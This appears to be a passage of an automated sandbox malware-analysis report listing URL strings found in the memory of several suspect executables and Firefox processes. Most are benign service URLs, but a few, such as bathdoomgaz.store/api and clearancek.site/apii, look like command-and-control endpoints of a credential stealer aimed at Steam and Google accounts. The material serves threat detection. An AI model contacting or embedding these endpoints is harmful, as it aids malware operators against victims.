Source: firefox.exe, 0000001C.00000003.3128539631.000002AE09131000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093568542.000002AE09052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3307024011.000001F810BB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: fb9fc5d370.exe, 0000000F.00000003.3104306974.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, fb9fc5d370.exe, 0000000F.00000002.3106716723.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, fb9fc5d370.exe, 0000000F.00000003.3103852272.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, fb9fc5d370.exe, 00000025.00000002.3270987738.00000000014DF000.00000004.00000020.00020000.00000000.sdmp, fb9fc5d370.exe, 00000025.00000003.3269637605.00000000014DF000.00000004.00000020.00020000.00000000.sdmp, fb9fc5d370.exe, 00000025.00000003.3268917085.00000000014DF000.00000004.00000020.00020000.00000000.sdmp, fb9fc5d370.exe, 00000025.00000003.3269393293.00000000014DF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-users/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://api.accounts.firefox.com/v1
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.steampowered.com/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: 3f779c1cca.exe, 0000000E.00000003.3053500783.00000000006FF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://avatars.cloudflare.s
Source: file.exe, 00000000.00000003.2216632753.0000000001697000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053437024.0000000000778000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8d
Source: 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bathdoomgaz.store:443/api
Source: 3f779c1cca.exe, 0000000E.00000003.3053500783.0000000000705000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bathdoomgaz.store:443/apii
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.2256581532.0000000005F77000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3118269437.0000000005227000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3212320962.0000027F673C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.00000229082E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3267079195.000001F87F4AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3212320962.0000027F673C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.00000229082E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3267079195.000001F87F4AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://checkout.steampowered.com/
Source: 3f779c1cca.exe, 0000000E.00000003.3053500783.0000000000705000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://clearancek.site:443/apii
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steams
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.cV
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.co
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216632753.0000000001697000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=ljhW-PbGuX
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globa
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo
Source: 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=e
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: 